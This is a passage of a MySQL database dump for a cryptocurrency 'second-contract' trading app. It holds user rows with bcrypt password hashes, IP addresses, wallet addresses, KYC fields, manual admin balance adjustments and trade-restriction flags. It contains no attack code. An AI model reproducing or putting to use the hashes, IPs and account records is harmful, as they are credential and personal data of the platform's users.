'$2a$10$hbb71wQ7Yg.l1hL2DBvpmuj6X0llgJnVOXgLH4cXWBJXzzc8rtt5W', NULL, 0, '', 'TRC', 0, 0.000000, 0.000000, 0, NULL, NULL, 'SB6199', NULL, '104.245.100.188', NULL, 0, NULL, 'admin', '2024-02-11 16:12:52', 'admin', '2024-02-11 16:12:52', NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user` VALUES (325, 'test000001', '$2a$10$lyIBzYb7dI4n0p9/x85G6.vwi6t0HVVTzaCuxWKs6o8Lu1919D6FK', NULL, 0, '', 'ETH', 0, 0.000000, 0.000000, NULL, NULL, NULL, 'ACMRGX', NULL, '192.168.10.175', NULL, 0, NULL, 'admin', '2024-02-13 18:11:23', 'admin', '2024-02-13 18:11:23', NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user` VALUES (332, 'test02', '$2a$10$eJQV00TT6SbqRX.TRsSB2.ZbuM734o9VaA96AezmItEIKns.aI3DC', NULL, 0, '', 'ETH', 0, 0.000000, 0.000000, 0, NULL, NULL, 'RM3SST', NULL, '192.168.1.11', NULL, 0, NULL, 'admin', '2024-02-14 00:17:20', 'admin', '2024-02-14 00:17:20', NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user` VALUES (333, 'test03', '$2a$10$WxmCW9IDHCAa/3gjhmuTNedV.TAShUeOrlgPn9foaYjM78CUmJJNa', NULL, 0, '', 'ETH', 0, 0.000000, 0.000000, 0, NULL, NULL, '8BLEC6', NULL, '192.168.1.11', NULL, 0, NULL, 'admin', '2024-02-14 00:36:27', 'admin', '2024-02-14 00:36:27', NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user` VALUES (334, 'test04', '$2a$10$WVs9RoRbNMqzPDvZcALsPOzPdgdPg8zEq2ez6TmvP8MQg/V5PDfre', NULL, 0, '', 'ETH', 0, 0.000000, 0.000000, 0, NULL, NULL, 'PMTR8I', NULL, '192.168.1.11', NULL, 0, NULL, 'admin', '2024-02-14 00:41:40', 'admin', '2024-02-14 00:41:40', NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user` VALUES (335, 'test05', '$2a$10$1par4nN4btxcryY1Gv4v0Oh4e3UPFdja1hciwYTUtfTe7pOMnqtr2', NULL, 0, '3298923748234', 'ETH', 0, 0.000000, 0.000000, 0, NULL, NULL, 'YQQ9K4', NULL, '192.168.1.11', NULL, 0, NULL, 'admin', '2024-02-14 00:44:41', 'admin', '2024-02-14 02:27:30', NULL, NULL, NULL, 'user100000335_virtual@glbtmubhnoemail.com'); +INSERT INTO `t_app_user` VALUES (336, 'test06', '$2a$10$MMU0y0Rsz.fDlHe5IPmZuuDdRErKBegKE./XHCra.gYefEiiIHy6u', NULL, 0, '', 'ETH', 0, 0.000000, 0.000000, 0, NULL, NULL, '1T90BW', NULL, '192.168.1.11', NULL, 0, NULL, 'admin', '2024-02-14 18:15:11', 'admin', '2024-02-14 18:15:11', NULL, NULL, NULL, '100000336_virtual@oh30o2aunoemail.com'); + +-- ---------------------------- +-- Table structure for t_app_user_address +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_user_address`; +CREATE TABLE `t_app_user_address` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `user_id` bigint(0) NOT NULL, + `symbol` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '钱包类型', + `address` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '钱包地址', + `binance_email` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '币安子账号地址', + PRIMARY KEY (`id`) USING BTREE, + INDEX `userid`(`user_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 13 CHARACTER SET = utf8mb3 COLLATE = utf8mb3_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_user_address +-- ---------------------------- +INSERT INTO `t_app_user_address` VALUES (7, 335, 'USDT', '0x834729accd0f9fb0474431079bc7107820cea538', 'user100000335_virtual@glbtmubhnoemail.com'); +INSERT INTO `t_app_user_address` VALUES (8, 335, 'BTC', '1Dx8rao8MDRmPRhETXG144uxmHKjQ8icU6', 'user100000335_virtual@glbtmubhnoemail.com'); +INSERT INTO `t_app_user_address` VALUES (9, 335, 'ETH', '0x834729accd0f9fb0474431079bc7107820cea538', 'user100000335_virtual@glbtmubhnoemail.com'); +INSERT INTO `t_app_user_address` VALUES (10, 336, 'USDT', '0xd058fcf1a90a3038d67151b91d02049a7c0d1011', '100000336_virtual@oh30o2aunoemail.com'); +INSERT INTO `t_app_user_address` VALUES (11, 336, 'BTC', '1DxSDKjecqwLxTq2yWGTr9bhFy8rZvyN3y', '100000336_virtual@oh30o2aunoemail.com'); +INSERT INTO `t_app_user_address` VALUES (12, 336, 'ETH', '0xd058fcf1a90a3038d67151b91d02049a7c0d1011', '100000336_virtual@oh30o2aunoemail.com'); + +-- ---------------------------- +-- Table structure for t_app_user_detail +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_user_detail`; +CREATE TABLE `t_app_user_detail` ( + `id` int(0) NOT NULL AUTO_INCREMENT, + `user_id` int(0) NULL DEFAULT NULL, + `real_name` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '真实姓名', + `id_card` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '身份证号码', + `front_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '身份证正面照片', + `country` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '国际', + `card_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `handel_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '手持身份证照片', + `back_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '身份证反面照片', + `user_tard_pwd` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '用户交易密码', + `create_by` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL, + `update_by` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `remark` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `audit_status_primary` int(0) NULL DEFAULT NULL COMMENT '初级验证状态', + `audit_status_advanced` int(0) NULL DEFAULT NULL COMMENT '高级验证状态', + `credits` int(0) NULL DEFAULT NULL COMMENT '信用分', + `user_recharge_address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '用户充值地址', + `win_num` int(0) NULL DEFAULT NULL COMMENT '连赢场次', + `lose_num` int(0) NULL DEFAULT NULL COMMENT '连输场次', + `trade_flag` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易是否被限制 1 为限制', + `amount_flag` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '金额是否被限制 1 为限制', + `push_message` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '金额限制提示语', + `trade_message` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易限制提示语', + `operate_time` datetime(0) NULL DEFAULT NULL COMMENT '实名认证时间', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 307 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户详细信息' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_user_detail +-- ---------------------------- +INSERT INTO `t_app_user_detail` VALUES (279, 309, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '$2a$10$9qBke.BntIC8epyk2KfqyeI9/nv5zU3mWM0NGdwel9bvVsCwARnhW', NULL, NULL, NULL, '2023-11-19 00:50:35', NULL, NULL, NULL, NULL, 0, NULL, 0, 0, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (280, 310, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (281, 311, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (282, 312, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (283, 313, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (284, 314, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (285, 315, '张三', '6565655', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.07bcf93ed1d4141458bfe4e1e82f2c895.png', 'nation_Japan', '1', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.095b723b4b001452a8bfcac31a89d535d.png', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0ee71e0bb2893468d938e674042aab6b6.png', '$2a$10$8HqQBRZSDTrEw1rvHF2kOO24P87xOmipaQs/4nYGvoFcGzhbYINm.', NULL, NULL, NULL, '2023-12-08 02:35:29', NULL, NULL, 1, 1, 0, NULL, 0, 0, NULL, NULL, NULL, NULL, '1999-10-10 08:00:00'); +INSERT INTO `t_app_user_detail` VALUES (286, 316, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (287, 317, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '$2a$10$3/HFGv3bmniyQd8OCG41y.Z6UmHm5FMdN795rooxBPfuk/2plz9qi', NULL, NULL, NULL, '2023-12-08 02:27:00', NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (288, 318, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (289, 319, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (290, 320, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (291, 321, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (292, 322, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (293, 323, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (294, 324, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (295, 325, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (296, 326, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, 0, 0, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (297, 327, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (298, 328, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (299, 329, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (300, 330, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (301, 331, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (302, 332, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (303, 333, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (304, 334, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (305, 335, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (306, 336, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + +-- ---------------------------- +-- Table structure for t_app_wallet_record +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_wallet_record`; +CREATE TABLE `t_app_wallet_record` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '卡ID', + `amount` decimal(30, 6) NOT NULL COMMENT '余额', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `before_amount` decimal(30, 6) NULL DEFAULT NULL COMMENT '前值', + `after_amount` decimal(30, 6) NULL DEFAULT NULL COMMENT '后值', + `serial_id` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `type` tinyint(0) UNSIGNED NOT NULL COMMENT '余额', + `symbol` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT 'USDT' COMMENT '币种', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '代理ID', + `u_amount` decimal(30, 6) NULL DEFAULT NULL COMMENT '换算U金额', + `operate_time` datetime(0) NULL DEFAULT NULL COMMENT '操作时间', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_uid`(`user_id`, `type`, `create_time`) USING BTREE, + INDEX `create_time_index`(`create_time`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1145 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_wallet_record +-- ---------------------------- +INSERT INTO `t_app_wallet_record` VALUES (1101, 10000.000000, 'admin', '2023-12-08 02:35:05', NULL, NULL, '人工上分+', 315, NULL, 0.000000, 10000.000000, 'C1207183522767', 51, 'usdt', NULL, 10000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1102, 1000.000000, '123456', '2023-12-08 02:35:44', NULL, NULL, 'USDT-TRC提现', 315, NULL, 10000.000000, 9000.000000, 'P120718351752', 2, 'usdt', NULL, 1000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1103, 3988.000000, '123456', '2023-12-08 02:39:59', NULL, NULL, 'USDT-TRC提现', 315, NULL, 9000.000000, 5012.000000, 'P1207183995071', 2, 'usdt', NULL, 3988.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1104, 3988.000000, 'admin', '2023-12-08 02:40:43', NULL, NULL, 'USDT-ERC提现', 315, NULL, 5012.000000, 9000.000000, 'P1207183995071', 8, 'usdt', NULL, 3988.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1105, 5000.000000, '', '2023-12-08 02:48:55', NULL, NULL, '资金划转', 315, NULL, 9000.000000, 4000.000000, '', 35, 'usdt', NULL, 5000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1106, 5000.000000, '', '2023-12-08 02:48:55', NULL, NULL, '资金划转', 315, NULL, 0.000000, 5000.000000, '', 35, 'usdt', NULL, 5000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1107, 500.000000, '123456', '2023-12-08 02:52:51', NULL, NULL, '', 315, NULL, 4000.000000, 3500.000000, 'E120718525483', 12, 'USDT', NULL, NULL, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1108, 450.000000, '123456', '2023-12-08 02:53:50', NULL, NULL, '', 315, NULL, 3500.000000, 3950.000000, 'E120718525483', 14, 'USDT', NULL, NULL, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1109, 400.000000, 'admin', '2023-12-08 02:56:59', NULL, NULL, 'USDT-TRC充值', 309, NULL, 0.000000, 400.000000, 'W1123135814493', 1, 'usdt', NULL, 400.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1110, 1500.000000, 'admin', '2023-12-08 02:58:21', NULL, NULL, 'USDT-TRC充值', 315, NULL, 3950.000000, 5450.000000, 'W1207185713490', 1, 'usdt', NULL, 1500.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1111, 10.000000, 'test01', '2023-12-29 18:26:21', NULL, NULL, '秒合约下注-', 309, NULL, 400.000000, 390.000000, 'R1229102630996', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1112, 5800000.000000, 'admin', '2024-01-15 23:59:31', NULL, NULL, '人工上分+', 319, NULL, 0.000000, 5800000.000000, 'C0115155985594', 51, 'btc', NULL, 245266282000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1113, 5800000.000000, 'admin', '2024-01-15 23:59:35', NULL, NULL, '人工上分+', 319, NULL, 5800000.000000, 11600000.000000, 'C0115155953523', 51, 'btc', NULL, 245280840000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1114, 10000000.000000, 'admin', '2024-01-16 00:00:00', NULL, NULL, '人工下分-', 319, NULL, 11600000.000000, 1600000.000000, 'C0115160031665', 4, 'btc', NULL, 422790000000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1115, 1500000.000000, 'admin', '2024-01-16 00:00:19', NULL, NULL, '人工下分-', 319, NULL, 1600000.000000, 100000.000000, 'C0115160019695', 4, 'btc', NULL, 63417615000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1116, 88888.000000, 'admin', '2024-01-16 00:01:08', NULL, NULL, '人工下分-', 319, NULL, 100000.000000, 11112.000000, 'C0115160191319', 4, 'btc', NULL, 3755873552.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1117, 10000.000000, 'admin', '2024-01-16 00:01:31', NULL, NULL, '人工下分-', 319, NULL, 11112.000000, 1112.000000, 'C011516015061', 4, 'btc', NULL, 422811000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1118, 1111.000000, 'admin', '2024-01-16 00:01:46', NULL, NULL, '人工下分-', 319, NULL, 1112.000000, 1.000000, 'C0115160192410', 4, 'btc', NULL, 46990878.220000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1119, 3.000000, 'admin', '2024-01-16 00:04:16', NULL, NULL, '人工上分+', 319, NULL, 1.000000, 4.000000, 'C0115160445329', 51, 'btc', NULL, 126918.840000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1120, 11.000000, 'admin', '2024-01-16 00:05:42', NULL, NULL, '人工上分+', 319, NULL, 4.000000, 15.000000, 'C0115160552868', 51, 'btc', NULL, 465311.990000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1121, 10.000000, '123456', '2024-01-19 12:07:08', NULL, NULL, '秒合约下注-', 315, NULL, 5450.000000, 5440.000000, 'R0119040720814', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1122, 10.000000, 'test01', '2024-01-19 12:13:49', NULL, NULL, '秒合约下注-', 309, NULL, 390.000000, 380.000000, 'R0119041378875', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1123, 10.000000, 'test01', '2024-01-19 12:14:58', NULL, NULL, '秒合约下注-', 309, NULL, 380.000000, 370.000000, 'R0119041432296', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1124, 1000.000000, 'admin', '2024-01-19 12:19:19', NULL, NULL, '人工上分+', 320, NULL, 0.000000, 1000.000000, 'C0119041916433', 51, 'usdt', NULL, 1000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1125, 20.000000, '1234567', '2024-01-19 12:19:31', NULL, NULL, '秒合约下注-', 320, NULL, 1000.000000, 980.000000, 'R0119041986880', 5, 'usdt', NULL, 20.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1126, 11.200000, '', '2024-01-19 12:20:39', NULL, NULL, '秒合约结算+', 309, NULL, 370.000000, 381.200000, 'R1229102630996', 9, 'usdt', NULL, 11.200000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1127, 11.200000, '', '2024-01-19 12:20:39', NULL, NULL, '秒合约结算+', 315, NULL, 5440.000000, 5451.200000, 'R0119040720814', 9, 'usdt', NULL, 11.200000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1128, 11.200000, '', '2024-01-19 12:20:39', NULL, NULL, '秒合约结算+', 309, NULL, 381.200000, 392.400000, 'R0119041378875', 9, 'usdt', NULL, 11.200000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1129, 11.200000, '', '2024-01-19 12:20:39', NULL, NULL, '秒合约结算+', 309, NULL, 392.400000, 403.600000, 'R0119041432296', 9, 'usdt', NULL, 11.200000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1130, 22.400000, '', '2024-01-19 12:20:39', NULL, NULL, '秒合约结算+', 320, NULL, 980.000000, 1002.400000, 'R0119041986880', 9, 'usdt', NULL, 22.400000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1131, 10.000000, '123456', '2024-01-19 12:21:32', NULL, NULL, '秒合约下注-', 315, NULL, 5451.200000, 5441.200000, 'R0119042149621', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1132, 10.000000, '1234567', '2024-01-19 12:21:32', NULL, NULL, '秒合约下注-', 320, NULL, 1002.400000, 992.400000, 'R0119042127854', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1133, 11.200000, '', '2024-01-19 12:22:32', NULL, NULL, '秒合约结算+', 315, NULL, 5441.200000, 5452.400000, 'R0119042149621', 9, 'usdt', NULL, 11.200000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1134, 11.200000, '', '2024-01-19 12:22:32', NULL, NULL, '秒合约结算+', 320, NULL, 992.400000, 1003.600000, 'R0119042127854', 9, 'usdt', NULL, 11.200000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1135, 10.000000, '123456', '2024-01-19 12:23:02', NULL, NULL, '秒合约下注-', 315, NULL, 5452.400000, 5442.400000, 'R0119042345063', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1136, 10.000000, 'test01', '2024-01-19 15:08:19', NULL, NULL, '秒合约下注-', 309, NULL, 403.600000, 393.600000, 'R0119070836062', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1137, 10.000000, '1234567', '2024-01-19 19:10:20', NULL, NULL, '秒合约下注-', 320, NULL, 1003.600000, 993.600000, 'R0119111043919', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1138, 10.000000, '', '2024-01-19 19:10:49', NULL, NULL, '秒合约结算+', 320, NULL, 993.600000, 1003.600000, 'R0119111043919', 9, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1139, 100.000000, 'test01', '2024-02-08 18:51:25', NULL, NULL, 'USDT-TRC提现', 309, NULL, 393.600000, 293.600000, 'P0208105124236', 2, 'usdt', NULL, 100.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1140, 100.000000, 'admin', '2024-02-08 18:59:13', NULL, NULL, 'USDT-ERC提现', 309, NULL, 293.600000, 393.600000, 'P0208105124236', 8, 'usdt', NULL, 100.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1141, 100.000000, 'test01', '2024-02-08 18:59:47', NULL, NULL, 'USDT-TRC提现', 309, NULL, 393.600000, 293.600000, 'P0208105911782', 2, 'usdt', NULL, 100.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1142, 100000.000000, 'admin', '2024-02-11 16:14:18', NULL, NULL, '人工上分+', 324, NULL, 0.000000, 100000.000000, 'C0211081490622', 51, 'usdt', NULL, 100000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1143, 10.000000, 'test01', '2024-02-11 16:15:55', NULL, NULL, '秒合约下注-', 309, NULL, 293.600000, 283.600000, 'R021108153163', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1144, 10.000000, 'test01', '2024-02-11 16:16:10', NULL, NULL, '秒合约下注-', 309, NULL, 283.600000, 273.600000, 'R0211081641474', 5, 'usdt', NULL, 10.000000, NULL); + +-- ---------------------------- +-- Table structure for t_appuser_login_log +-- ---------------------------- +DROP TABLE IF EXISTS `t_appuser_login_log`; +CREATE TABLE `t_appuser_login_log` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键ID', + `user_id` bigint(0) NOT NULL COMMENT '登录用户ID', + `username` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '登录用户名', + `ipaddr` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '访问IP', + `login_location` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '访问位置', + `browser` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '浏览器', + `os` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '系统OS', + `status` char(1) CHARACTER SET utf8mb4 COLLATE 